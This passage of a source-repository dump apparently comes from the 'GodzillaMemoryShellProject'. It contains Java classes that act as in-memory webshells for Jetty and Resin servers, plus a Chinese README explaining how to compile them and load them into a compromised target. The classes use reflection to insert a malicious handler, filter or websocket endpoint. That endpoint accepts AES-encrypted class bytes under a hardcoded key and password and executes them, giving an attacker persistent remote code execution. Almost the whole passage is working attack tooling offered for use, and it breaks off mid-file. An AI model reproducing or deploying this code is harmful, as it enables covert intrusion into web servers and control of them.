Thread.currentThread().getContextClassLoader(); 390 | if (loader == null) { 391 | loader = request.getClass().getClassLoader(); 392 | } 393 | 394 | payloadClass = new AesBase64JettyFilterShell(loader).defineClass(data, 0, data.length); 395 | } else { 396 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); 397 | Object f = payloadClass.newInstance(); 398 | f.equals(arrOut); 399 | f.equals(request); 400 | f.equals(data); 401 | f.toString(); 402 | String md5 = md5(password + key); 403 | if (arrOut.size() > 0) { 404 | PrintWriter printWriter = (PrintWriter) invokeMethod(response, "getWriter"); 405 | printWriter.write(md5.substring(0, 16)); 406 | printWriter.write(base64Encode(aes(arrOut.toByteArray(), true))); 407 | printWriter.write(md5.substring(16)); 408 | return true; 409 | } 410 | } 411 | } 412 | } 413 | } 414 | 415 | } catch (Throwable ignored) { 416 | } 417 | } catch (Throwable ignored) { 418 | 419 | } 420 | return false; 421 | } 422 | } 423 | -------------------------------------------------------------------------------- /JettyMemoryShell/src/AesBase64JettyHandleShell.java: -------------------------------------------------------------------------------- 1 | import java.io.PrintWriter; 2 | import java.lang.reflect.*; 3 | import java.util.ArrayList; 4 | import java.util.Arrays; 5 | import java.util.HashSet; 6 | 7 | //jetty7-11 test 8 | public class AesBase64JettyHandleShell extends ClassLoader implements InvocationHandler { 9 | private static boolean initialized = false; 10 | private static final Object lock = new Object(); 11 | private static Class payloadClass; 12 | private String key = "3c6e0b8a9c15224a"; 13 | private String password = "pass"; 14 | private Object oldHandler; 15 | 16 | 17 | static { 18 | new AesBase64JettyHandleShell(); 19 | } 20 | 21 | public AesBase64JettyHandleShell(ClassLoader loader) { 22 | super(loader); 23 | } 24 | 25 | public AesBase64JettyHandleShell() { 26 | synchronized (lock) { 27 | if (!initialized) { 28 | initialized = true; 29 | try { 30 | Class jettyHandlerClass = null; 31 | try { 32 | jettyHandlerClass = loadClasses("org.eclipse.jetty.server.Handler"); 33 | } catch (Exception e) { 34 | } 35 | if (jettyHandlerClass != null) { 36 | addHandler(Proxy.newProxyInstance(jettyHandlerClass.getClassLoader(), new Class[]{jettyHandlerClass}, this)); 37 | } 38 | } catch (Throwable e) { 39 | 40 | } 41 | } 42 | } 43 | } 44 | 45 | private Class loadClasses(String className) throws ClassNotFoundException { 46 | ArrayList classLoaders = new ArrayList(); 47 | classLoaders.add(this.getClass().getClassLoader()); 48 | try { 49 | classLoaders.add(Thread.currentThread().getContextClassLoader()); 50 | ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); 51 | int threadCount = threadGroup.activeCount(); 52 | Thread[] threads = new Thread[threadCount]; 53 | threadCount = threadGroup.enumerate(threads); 54 | for (int i = 0; i < threadCount; i++) { 55 | classLoaders.add(threads[i].getContextClassLoader()); 56 | } 57 | } catch (Exception e) { 58 | 59 | } 60 | int loaders = classLoaders.size(); 61 | for (int i = 0; i < loaders; i++) { 62 | ClassLoader loader = (ClassLoader) classLoaders.get(i); 63 | if (loader != null) { 64 | try { 65 | return Class.forName(className, true, loader); 66 | } catch (Throwable e) { 67 | 68 | } 69 | } 70 | } 71 | return Class.forName(className); 72 | } 73 | 74 | 75 | private static Object getJettyServer() throws Throwable { 76 | HashSet blackType = new HashSet(); 77 | blackType.add(int.class.getName()); 78 | blackType.add(short.class.getName()); 79 | blackType.add(long.class.getName()); 80 | blackType.add(double.class.getName()); 81 | blackType.add(byte.class.getName()); 82 | blackType.add(float.class.getName()); 83 | blackType.add(char.class.getName()); 84 | blackType.add(boolean.class.getName()); 85 | blackType.add(Integer.class.getName()); 86 | blackType.add(Short.class.getName()); 87 | blackType.add(Long.class.getName()); 88 | blackType.add(Double.class.getName()); 89 | blackType.add(Byte.class.getName()); 90 | blackType.add(Float.class.getName()); 91 | blackType.add(Character.class.getName()); 92 | blackType.add(Boolean.class.getName()); 93 | blackType.add(String.class.getName()); 94 | Object jettyServer = searchObject("org.eclipse.jetty.server.Server", Thread.currentThread(), new HashSet(), blackType, 20, 0); 95 | return jettyServer; 96 | } 97 | 98 | private static Object searchObject(String targetClassName, Object object, HashSet blacklist, HashSet blackType, int maxDepth, int currentDepth) throws Throwable { 99 | currentDepth++; 100 | 101 | if (currentDepth >= maxDepth) { 102 | return null; 103 | } 104 | 105 | if (object != null) { 106 | 107 | if (targetClassName.equals(object.getClass().getName())) { 108 | return object; 109 | } 110 | 111 | Integer hash = System.identityHashCode(object); 112 | if (!blacklist.contains(hash)) { 113 | blacklist.add(new Integer(hash)); 114 | Field[] fields = null; 115 | ArrayList fieldsArray = new ArrayList(); 116 | Class objClass = object.getClass(); 117 | while (objClass != null) { 118 | Field[] fields1 = objClass.getDeclaredFields(); 119 | fieldsArray.addAll(Arrays.asList(fields1)); 120 | objClass = objClass.getSuperclass(); 121 | } 122 | fields = (Field[]) fieldsArray.toArray(new Field[0]); 123 | 124 | 125 | for (int i = 0; i < fields.length; i++) { 126 | Field field = fields[i]; 127 | 128 | try { 129 | field.setAccessible(true); 130 | Class fieldType = field.getType(); 131 | if (!blackType.contains(fieldType.getName())) { 132 | Object fieldValue = field.get(object); 133 | if (fieldValue != null) { 134 | Object ret = null; 135 | if (fieldType.isArray()) { 136 | if (!blackType.contains(fieldType.getComponentType().getName())) { 137 | int arraySize = Array.getLength(fieldValue); 138 | for (int j = 0; j < arraySize; j++) { 139 | ret = searchObject(targetClassName, Array.get(fieldValue, j), blacklist, blackType, maxDepth, currentDepth); 140 | if (ret != null) { 141 | break; 142 | } 143 | } 144 | } 145 | } else { 146 | ret = searchObject(targetClassName, fieldValue, blacklist, blackType, maxDepth, currentDepth); 147 | } 148 | if (ret != null) { 149 | return ret; 150 | } 151 | } 152 | } 153 | } catch (Throwable e) { 154 | 155 | } 156 | } 157 | } 158 | } 159 | return null; 160 | 161 | } 162 | 163 | private boolean addHandler(Object newHandler) { 164 | boolean isOk = false; 165 | try { 166 | Object jettyServer = getJettyServer(); 167 | if (jettyServer != null) { 168 | Field _handlerField = getField(jettyServer, "_handler"); 169 | _handlerField.setAccessible(true); 170 | this.oldHandler = _handlerField.get(jettyServer); 171 | _handlerField.set(jettyServer, newHandler); 172 | isOk = true; 173 | } 174 | } catch (Throwable e) { 175 | 176 | } 177 | 178 | 179 | return isOk; 180 | } 181 | 182 | 183 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { 184 | boolean next = true; 185 | if (method.getName().equals("handle")) { 186 | try { 187 | Object baseRequest = args[1]; 188 | Object servletRequest = args[2]; 189 | Object servletResponse = args[3]; 190 | if (run(servletRequest, servletResponse)) { 191 | Method setHandledMethod = getMethodByClass(baseRequest.getClass(), "setHandled", boolean.class); 192 | if (setHandledMethod != null) { 193 | setHandledMethod.setAccessible(true); 194 | setHandledMethod.invoke(baseRequest, true); 195 | } 196 | next = false; 197 | } 198 | } catch (Throwable ignored) { 199 | 200 | } 201 | } 202 | 203 | if (next && oldHandler != null) { 204 | return method.invoke(oldHandler, args); 205 | } 206 | 207 | return null; 208 | } 209 | 210 | private Object invokeMethod(Object obj, String methodName, Object... parameters) { 211 | try { 212 | ArrayList classes = new ArrayList(); 213 | if (parameters != null) { 214 | for (int i = 0; i < parameters.length; i++) { 215 | Object o1 = parameters[i]; 216 | if (o1 != null) { 217 | classes.add(o1.getClass()); 218 | } else { 219 | classes.add(null); 220 | } 221 | } 222 | } 223 | Method method = getMethodByClass(obj.getClass(), methodName, (Class[]) classes.toArray(new Class[]{})); 224 | 225 | return method.invoke(obj, parameters); 226 | } catch (Exception e) { 227 | // e.printStackTrace(); 228 | } 229 | return null; 230 | } 231 | 232 | private Method getMethodByClass(Class cs, String methodName, Class... parameters) { 233 | Method method = null; 234 | while (cs != null) { 235 | try { 236 | method = cs.getMethod(methodName, parameters); 237 | cs = null; 238 | } catch (Exception e) { 239 | cs = cs.getSuperclass(); 240 | } 241 | } 242 | 243 | if (method!=null){ 244 | try { 245 | method.setAccessible(true); 246 | }catch (Throwable e){ 247 | 248 | } 249 | } 250 | 251 | return method; 252 | } 253 | 254 | private static Field getField(Object obj, String fieldName) { 255 | Class clazz = null; 256 | 257 | if (obj == null) { 258 | return null; 259 | } 260 | 261 | if (obj instanceof Class) { 262 | clazz = (Class) obj; 263 | } else { 264 | clazz = obj.getClass(); 265 | } 266 | Field field = null; 267 | while (clazz != null) { 268 | try { 269 | field = clazz.getDeclaredField(fieldName); 270 | clazz = null; 271 | } catch (Exception e) { 272 | clazz = clazz.getSuperclass(); 273 | } 274 | } 275 | 276 | if (field != null) { 277 | field.setAccessible(true); 278 | } 279 | 280 | return field; 281 | } 282 | 283 | private String getParameter(Object requestObject, String name) { 284 | return (String) invokeMethod(requestObject, "getParameter", name); 285 | } 286 | 287 | private String getContentType(Object requestObject) { 288 | return (String) invokeMethod(requestObject, "getContentType"); 289 | } 290 | 291 | 292 | private byte[] aes(byte[] s, boolean m) { 293 | try { 294 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); 295 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES")); 296 | return c.doFinal(s); 297 | } catch (Exception e) { 298 | return null; 299 | } 300 | } 301 | 302 | private static String md5(String s) { 303 | String ret = null; 304 | try { 305 | java.security.MessageDigest m; 306 | m = java.security.MessageDigest.getInstance("MD5"); 307 | m.update(s.getBytes(), 0, s.length()); 308 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); 309 | } catch (Exception e) { 310 | } 311 | return ret; 312 | } 313 | 314 | private static String base64Encode(byte[] bs) throws Exception { 315 | Class base64; 316 | String value = null; 317 | try { 318 | base64 = Class.forName("java.util.Base64"); 319 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); 320 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); 321 | } catch (Exception e) { 322 | try { 323 | base64 = Class.forName("sun.misc.BASE64Encoder"); 324 | Object Encoder = base64.newInstance(); 325 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); 326 | } catch (Exception e2) { 327 | } 328 | } 329 | return value; 330 | } 331 | 332 | private static byte[] base64Decode(String bs) throws Exception { 333 | Class base64; 334 | byte[] value = null; 335 | try { 336 | base64 = Class.forName("java.util.Base64"); 337 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); 338 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 339 | } catch (Exception e) { 340 | try { 341 | base64 = Class.forName("sun.misc.BASE64Decoder"); 342 | Object decoder = base64.newInstance(); 343 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 344 | } catch (Exception e2) { 345 | } 346 | } 347 | return value; 348 | } 349 | 350 | private boolean run(Object request, Object response) { 351 | try { 352 | try { 353 | String contentType = getContentType(request); 354 | if (contentType != null && contentType.contains("application/x-www-form-urlencoded")) { 355 | String value = getParameter(request, password); 356 | if (value != null) { 357 | byte[] data = base64Decode(value); 358 | data = aes(data, false); 359 | if (data != null && data.length > 0) { 360 | if (payloadClass == null) { 361 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 362 | if (loader == null) { 363 | loader = request.getClass().getClassLoader(); 364 | } 365 | 366 | payloadClass = new AesBase64JettyHandleShell(loader).defineClass(data, 0, data.length); 367 | } else { 368 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); 369 | Object f = payloadClass.newInstance(); 370 | f.equals(arrOut); 371 | f.equals(request); 372 | f.equals(data); 373 | f.toString(); 374 | String md5 = md5(password + key); 375 | if (arrOut.size() > 0) { 376 | PrintWriter printWriter = (PrintWriter) invokeMethod(response, "getWriter"); 377 | printWriter.write(md5.substring(0, 16)); 378 | printWriter.write(base64Encode(aes(arrOut.toByteArray(), true))); 379 | printWriter.write(md5.substring(16)); 380 | printWriter.flush(); 381 | return true; 382 | } 383 | } 384 | } 385 | } 386 | } 387 | 388 | } catch (Throwable ignored) { 389 | } 390 | } catch (Throwable ignored) { 391 | 392 | } 393 | return false; 394 | } 395 | } 396 | -------------------------------------------------------------------------------- /JettyMemoryShell/src/AesJettyWebsocketShell.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.ServletContext; 2 | import javax.websocket.Endpoint; 3 | import javax.websocket.EndpointConfig; 4 | import javax.websocket.MessageHandler; 5 | import javax.websocket.Session; 6 | import javax.websocket.server.ServerEndpointConfig; 7 | import javax.websocket.server.ServerContainer; 8 | import java.io.ByteArrayOutputStream; 9 | import java.io.IOException; 10 | import java.lang.reflect.Array; 11 | import java.lang.reflect.Field; 12 | import java.lang.reflect.Method; 13 | import java.net.URL; 14 | import java.net.URLClassLoader; 15 | import java.nio.ByteBuffer; 16 | import java.util.ArrayList; 17 | import java.util.Arrays; 18 | import java.util.HashSet; 19 | 20 | //jetty9-10.11 test 21 | public class AesJettyWebsocketShell extends Endpoint implements MessageHandler.Whole { 22 | private static boolean initialized = false; 23 | private static final Object lock = new Object(); 24 | private Class payload = null; 25 | private Session session = null; 26 | private String xc = "3c6e0b8a9c15224a"; 27 | private String pass = "pass"; 28 | 29 | 30 | static { 31 | new AesJettyWebsocketShell(); 32 | } 33 | 34 | public AesJettyWebsocketShell() { 35 | synchronized (lock) { 36 | if (!initialized) { 37 | initialized = true; 38 | try { 39 | addEndpoint(this); 40 | } catch (Throwable ignored) { 41 | 42 | } 43 | } 44 | } 45 | } 46 | 47 | public AesJettyWebsocketShell(Session session) { 48 | this.session = session; 49 | } 50 | 51 | private static Object[] getServers() throws Throwable { 52 | HashSet contexts = new HashSet(); 53 | HashSet blackType = new HashSet(); 54 | blackType.add(int.class.getName()); 55 | blackType.add(short.class.getName()); 56 | blackType.add(long.class.getName()); 57 | blackType.add(double.class.getName()); 58 | blackType.add(byte.class.getName()); 59 | blackType.add(float.class.getName()); 60 | blackType.add(char.class.getName()); 61 | blackType.add(boolean.class.getName()); 62 | blackType.add(Integer.class.getName()); 63 | blackType.add(Short.class.getName()); 64 | blackType.add(Long.class.getName()); 65 | blackType.add(Double.class.getName()); 66 | blackType.add(Byte.class.getName()); 67 | blackType.add(Float.class.getName()); 68 | blackType.add(Character.class.getName()); 69 | blackType.add(Boolean.class.getName()); 70 | blackType.add(String.class.getName()); 71 | Object jettyServer = searchObject("org.eclipse.jetty.server.Server", Thread.currentThread(), new HashSet(), blackType, 20, 0); 72 | if (jettyServer != null) { 73 | try { 74 | Object serverHandle = getFieldValue(jettyServer, "_handler"); 75 | Object handles = serverHandle.getClass().getMethod("getChildHandlers").invoke(serverHandle); 76 | if (handles.getClass().isArray()) { 77 | int handleSize = Array.getLength(handles); 78 | for (int i = 0; i < handleSize; i++) { 79 | Object handle = Array.get(handles, i); 80 | if (handle != null && "org.eclipse.jetty.webapp.WebAppContext".equals(handle.getClass().getName())) { 81 | contexts.add(handle); 82 | } 83 | } 84 | } 85 | } catch (Throwable e) { 86 | 87 | } 88 | } 89 | return contexts.toArray(); 90 | } 91 | 92 | private static Object searchObject(String targetClassName, Object object, HashSet blacklist, HashSet blackType, int maxDepth, int currentDepth) throws Throwable { 93 | currentDepth++; 94 | 95 | if (currentDepth >= maxDepth) { 96 | return null; 97 | } 98 | 99 | if (object != null) { 100 | 101 | if (targetClassName.equals(object.getClass().getName())) { 102 | return object; 103 | } 104 | 105 | Integer hash = System.identityHashCode(object); 106 | if (!blacklist.contains(hash)) { 107 | blacklist.add(new Integer(hash)); 108 | Field[] fields = null; 109 | ArrayList fieldsArray = new ArrayList(); 110 | Class objClass = object.getClass(); 111 | while (objClass != null) { 112 | Field[] fields1 = objClass.getDeclaredFields(); 113 | fieldsArray.addAll(Arrays.asList(fields1)); 114 | objClass = objClass.getSuperclass(); 115 | } 116 | fields = (Field[]) fieldsArray.toArray(new Field[0]); 117 | 118 | 119 | for (int i = 0; i < fields.length; i++) { 120 | Field field = fields[i]; 121 | 122 | try { 123 | field.setAccessible(true); 124 | Class fieldType = field.getType(); 125 | if (!blackType.contains(fieldType.getName())) { 126 | Object fieldValue = field.get(object); 127 | if (fieldValue != null) { 128 | Object ret = null; 129 | if (fieldType.isArray()) { 130 | if (!blackType.contains(fieldType.getComponentType().getName())) { 131 | int arraySize = Array.getLength(fieldValue); 132 | for (int j = 0; j < arraySize; j++) { 133 | ret = searchObject(targetClassName, Array.get(fieldValue, j), blacklist, blackType, maxDepth, currentDepth); 134 | if (ret != null) { 135 | break; 136 | } 137 | } 138 | } 139 | } else { 140 | ret = searchObject(targetClassName, fieldValue, blacklist, blackType, maxDepth, currentDepth); 141 | } 142 | if (ret != null) { 143 | return ret; 144 | } 145 | } 146 | } 147 | } catch (Throwable e) { 148 | 149 | } 150 | } 151 | } 152 | } 153 | return null; 154 | 155 | } 156 | 157 | private static boolean canAdd(Object obj, String path) { 158 | try { 159 | java.lang.reflect.Method method = obj.getClass().getMethod("findMapping", new Class[]{String.class}); 160 | if (method.invoke(obj, new Object[]{path}) != null) { 161 | return false; 162 | } 163 | } catch (Throwable t) { 164 | 165 | } 166 | return true; 167 | } 168 | 169 | private boolean addEndpoint(Endpoint endpoint) throws Throwable { 170 | Object[] servers = getServers(); 171 | 172 | boolean isOk = false; 173 | 174 | try { 175 | for (int i = 0; i < servers.length; i++) { 176 | Object server = servers[i]; 177 | try { 178 | ServletContext servletContext = (ServletContext) server.getClass().getMethod("getServletContext").invoke(server); 179 | int maxBinaryMessageBufferSize = 10485760; 180 | String websocketPath = String.format("/%s", pass); 181 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(endpoint.getClass(), websocketPath).build(); 182 | ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); 183 | try { 184 | if (canAdd(container, websocketPath)) { 185 | if (container.getDefaultMaxBinaryMessageBufferSize() < maxBinaryMessageBufferSize) { 186 | container.setDefaultMaxBinaryMessageBufferSize(maxBinaryMessageBufferSize); 187 | } 188 | container.addEndpoint(configEndpoint); 189 | isOk = true; 190 | } 191 | } catch (Throwable e) { 192 | 193 | } 194 | } catch (Throwable e) { 195 | 196 | } 197 | } 198 | } catch (Throwable e) { 199 | 200 | } 201 | 202 | 203 | return isOk; 204 | } 205 | 206 | private static Field getField(Object obj, String fieldName) { 207 | Class clazz = null; 208 | 209 | if (obj == null) { 210 | return null; 211 | } 212 | 213 | if (obj instanceof Class) { 214 | clazz = (Class) obj; 215 | } else { 216 | clazz = obj.getClass(); 217 | } 218 | Field field = null; 219 | while (clazz != null) { 220 | try { 221 | field = clazz.getDeclaredField(fieldName); 222 | clazz = null; 223 | } catch (Exception e) { 224 | clazz = clazz.getSuperclass(); 225 | } 226 | } 227 | 228 | if (field != null) { 229 | field.setAccessible(true); 230 | } 231 | 232 | return field; 233 | } 234 | 235 | private static Object getFieldValue(Object obj, String fieldName) throws Exception { 236 | Field f = null; 237 | if (obj instanceof Field) { 238 | f = (Field) obj; 239 | } else { 240 | f = getField(obj, fieldName); 241 | } 242 | if (f != null) { 243 | return f.get(obj); 244 | } 245 | return null; 246 | } 247 | 248 | private byte[] aes(byte[] s, boolean m) { 249 | try { 250 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); 251 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); 252 | return c.doFinal(s); 253 | } catch (Exception e) { 254 | return null; 255 | } 256 | } 257 | 258 | public void onOpen(Session session, EndpointConfig endpointConfig) { 259 | session.addMessageHandler(new AesJettyWebsocketShell(session)); 260 | } 261 | 262 | private Class defClass(byte[] classBytes) throws Throwable { 263 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], AesJettyWebsocketShell.class.getClassLoader()); 264 | Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 265 | defineClassMethod.setAccessible(true); 266 | return (Class) defineClassMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); 267 | } 268 | 269 | public void onMessage(ByteBuffer byteBuffer) { 270 | try { 271 | int limit = byteBuffer.limit(); 272 | byte[] data = new byte[limit]; 273 | byteBuffer.get(data, 0, limit); 274 | data = aes(data, false); 275 | byte[] response = new byte[0]; 276 | if (payload == null) { 277 | payload = defClass(data); 278 | } else { 279 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 280 | Object obj = payload.newInstance(); 281 | obj.equals(data); 282 | obj.equals(bos); 283 | obj.toString(); 284 | response = bos.toByteArray(); 285 | } 286 | session.getBasicRemote().sendBinary(ByteBuffer.wrap(aes(response, true))); 287 | } catch (Throwable e) { 288 | try { 289 | session.close(); 290 | } catch (IOException ex) { 291 | 292 | } 293 | } 294 | } 295 | } 296 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GodzillaMemoryShellProject 2 | 3 | ## 哥斯拉内存Shell项目 4 | 5 | 当你拥有一个可以加载任意Class的能力,你就可以编译此项目,编译对应容器的Class 6 | 当Class被加载之后,你将获得一个哥斯拉的内存shell,你连接时可以填写任意URI路径 7 | 8 | 姊妹项目(.NET/IIS内存Shell):https://github.com/BeichenDream/GodzillaMemoryShellProject.NET/ 9 | 10 | ``` 11 | 1. 选择JDK版本 12 | 2. 编译此项目 13 | 3. 找到对应容器编译出来的Class 14 | 4. 在远程加载该Class 15 | 5. 获得内存Shell 16 | 17 | ``` 18 | 19 | 目前支持以下容器 几乎支持容器的所有版本(欢迎pull更多容器),你无需关注上下文,这一切哥斯拉内存Shell将会自动搜寻并完成注入 20 | 在这个项目你会看到很多的动态代理,这是哥斯拉内存Shell为了兼容javax和jakarta api规范 21 | 22 | ``` 23 | 1. Tomcat 5 - 10 24 | 2. Jetty 7 - 11.0.11 25 | 3. JBoss 8 - 27.0.0 26 | 4. Resin 3 - 4.0.66 27 | 5. Weblogic 10.3.6 - weblogic 14 28 | ``` 29 | 30 | ## 如何调用哥斯拉内存shell 31 | 32 | ``` 33 | //哥斯拉内存shell的class Base64 34 | String godzillaMemShellClassBase64 = "..........."; 35 | //base64 解码 36 | byte[] classBytes = Base64.getDecoder().decode(godzillaMemShellClassBase64); 37 | //获得上下文的ClassLoader 38 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 39 | //反射获得defineClass方法 用来定义Class 40 | Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 41 | //使得defineClass方法可访问 42 | defineClassMethod.setAccessible(true); 43 | //调用defineClass方法 从class字节码创建Class 44 | Class clazz = (Class) defineClassMethod.invoke(loader,classBytes,0,classBytes.length); 45 | //创建哥斯拉内存shell实例 哥斯拉内存Shell在此处自动注入 46 | clazz.newInstance(); 47 | 48 | ``` 49 | 50 | ## 注入内存shell/查找上下文很慢? 51 | 52 | 可以根据目标环境减小maxDetch的值 53 | ![image](https://user-images.githubusercontent.com/43266206/179052668-2c98a030-d572-4b7c-8a81-49bc1c17ee01.png) 54 | 55 | ## 自动搜寻上下文 56 | 57 | ![image](https://user-images.githubusercontent.com/43266206/179051462-62356e57-7656-42bf-80ee-9c1ddfd3324a.png) 58 | 59 | ## 引用 60 | https://github.com/feihong-cs/memShell 61 | -------------------------------------------------------------------------------- /ResinMemoryShell/ResinMemoryShell.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /ResinMemoryShell/src/AesBase64ResinFilterShell.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.*; 2 | import java.io.IOException; 3 | import java.io.PrintWriter; 4 | import java.lang.reflect.*; 5 | import java.util.*; 6 | 7 | 8 | //3.0.8 - all 9 | public class AesBase64ResinFilterShell extends ClassLoader implements Filter { 10 | private static Class payloadClass; 11 | private String key = "3c6e0b8a9c15224a"; 12 | private String password = "pass"; 13 | 14 | 15 | static { 16 | new AesBase64ResinFilterShell().addFilter(); 17 | } 18 | 19 | public AesBase64ResinFilterShell(ClassLoader loader) { 20 | super(loader); 21 | } 22 | 23 | public AesBase64ResinFilterShell() { 24 | } 25 | 26 | private void addFilter() { 27 | try { 28 | addFilter(this.getClass()); 29 | } catch (Throwable e) { 30 | 31 | } 32 | } 33 | 34 | 35 | private static Object[] getServers() throws Throwable { 36 | HashSet webapps = new HashSet(); 37 | Class servletInvocationClass = loadClassEx("com.caucho.server.dispatch.ServletInvocation"); 38 | Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); 39 | Object webApp = contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest); 40 | webapps.add(webApp); 41 | try { 42 | Object webAppContainer = webApp.getClass().getMethod("getParent").invoke(webApp); 43 | Object webappList = webAppContainer.getClass().getMethod("getWebAppList").invoke(webAppContainer); 44 | 45 | boolean isArray = false; 46 | 47 | int size = 0; 48 | 49 | if (webappList.getClass().isArray()) { 50 | isArray = true; 51 | size = Array.getLength(webappList); 52 | } else { 53 | size = ((List) webappList).size(); 54 | } 55 | 56 | for (int i = 0; i < size; i++) { 57 | try { 58 | Object webAppController = null; 59 | 60 | if (isArray) { 61 | webAppController = Array.get(webappList, i); 62 | } else { 63 | webAppController = ((List) webappList).get(i); 64 | } 65 | 66 | Object newWebApp = webAppController.getClass().getMethod("getWebApp").invoke(webAppController); 67 | webapps.add(newWebApp); 68 | } catch (Throwable e) { 69 | 70 | } 71 | } 72 | } catch (Throwable e) { 73 | 74 | } 75 | 76 | 77 | return webapps.toArray(); 78 | } 79 | 80 | private boolean addFilter(Class filterClass) throws Throwable { 81 | boolean isOk = false; 82 | try { 83 | Object[] obj = getServers(); 84 | for (int i = 0; i < obj.length; i++) { 85 | Object webappContext = obj[i]; 86 | try { 87 | Class filterConfigImplClass = loadClassEx("com.caucho.server.dispatch.FilterConfigImpl"); 88 | Class filterMappingClass = loadClassEx("com.caucho.server.dispatch.FilterMapping"); 89 | String urlPattern = "/*"; 90 | Object filterConfigImpl = filterMappingClass.newInstance(); 91 | getField(filterConfigImpl, "_filterClassName").set(filterConfigImpl, filterClass.getName()); 92 | getField(filterConfigImpl, "_filterClass").set(filterConfigImpl, filterClass); 93 | getField(filterConfigImpl, "_filterName").set(filterConfigImpl, filterClass.getName()); 94 | 95 | Object filterConfigUrlPattern = filterMappingClass.getMethod("createUrlPattern").invoke(filterConfigImpl); 96 | filterConfigUrlPattern.getClass().getMethod("addText", String.class).invoke(filterConfigUrlPattern, urlPattern); 97 | filterConfigUrlPattern.getClass().getMethod("init").invoke(filterConfigUrlPattern); 98 | getField(filterConfigImpl, "_servletContext").set(filterConfigImpl, webappContext); 99 | 100 | try { 101 | Object _filterMapper = getFieldValue(webappContext, "_filterMapper"); 102 | List _filterMapper_filterMap = (List) getFieldValue(_filterMapper, "_filterMap"); 103 | _filterMapper_filterMap.add(0, filterConfigImpl); 104 | } catch (Exception e) { 105 | } 106 | 107 | 108 | try { 109 | Object _loginFilterMapper = getFieldValue(webappContext, "_loginFilterMapper"); 110 | List _loginFilterMapper_filterMap = (List) getFieldValue(_loginFilterMapper, "_filterMap"); 111 | _loginFilterMapper_filterMap.add(0, filterConfigImpl); 112 | } catch (Exception e) { 113 | 114 | } 115 | 116 | webappContext.getClass().getMethod("addFilter", filterConfigImplClass).invoke(webappContext, filterConfigImpl); 117 | 118 | webappContext.getClass().getMethod("clearCache").invoke(webappContext); 119 | isOk = true; 120 | } catch (Throwable e) { 121 | 122 | } 123 | } 124 | } catch (Throwable e) { 125 | 126 | } 127 | 128 | 129 | return isOk; 130 | } 131 | 132 | 133 | public static Field getField(Object obj, String fieldName) { 134 | Class clazz = null; 135 | 136 | if (obj == null) { 137 | return null; 138 | } 139 | 140 | if (obj instanceof Class) { 141 | clazz = (Class) obj; 142 | } else { 143 | clazz = obj.getClass(); 144 | } 145 | Field field = null; 146 | while (clazz != null) { 147 | try { 148 | field = clazz.getDeclaredField(fieldName); 149 | clazz = null; 150 | } catch (Exception e) { 151 | clazz = clazz.getSuperclass(); 152 | } 153 | } 154 | 155 | if (field != null) { 156 | field.setAccessible(true); 157 | } 158 | 159 | return field; 160 | } 161 | 162 | private static Class loadClassEx(String className) throws ClassNotFoundException { 163 | try { 164 | return Class.forName(className); 165 | } catch (Throwable e) { 166 | try { 167 | return Class.forName(className, true, Thread.currentThread().getContextClassLoader()); 168 | } catch (Throwable ignored) { 169 | try { 170 | Thread[] threads = new Thread[Thread.activeCount()]; 171 | Thread.enumerate(threads); 172 | for (int i = 0; i < threads.length; i++) { 173 | Thread thread = threads[i]; 174 | if (thread == null) { 175 | continue; 176 | } 177 | try { 178 | ClassLoader loader = thread.getContextClassLoader(); 179 | return loader.loadClass(className); 180 | } catch (Throwable ignored2) { 181 | 182 | } 183 | 184 | } 185 | 186 | } catch (Throwable ignored2) { 187 | 188 | } 189 | } 190 | 191 | } 192 | throw new ClassNotFoundException(className); 193 | } 194 | 195 | private static Object getFieldValue(Object obj, String fieldName) throws Exception { 196 | Field f = null; 197 | if (obj instanceof Field) { 198 | f = (Field) obj; 199 | } else { 200 | f = getField(obj, fieldName); 201 | } 202 | if (f != null) { 203 | return f.get(obj); 204 | } 205 | return null; 206 | } 207 | 208 | 209 | private byte[] aes(byte[] s, boolean m) { 210 | try { 211 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); 212 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES")); 213 | return c.doFinal(s); 214 | } catch (Exception e) { 215 | return null; 216 | } 217 | } 218 | 219 | private static String md5(String s) { 220 | String ret = null; 221 | try { 222 | java.security.MessageDigest m; 223 | m = java.security.MessageDigest.getInstance("MD5"); 224 | m.update(s.getBytes(), 0, s.length()); 225 | ret = new 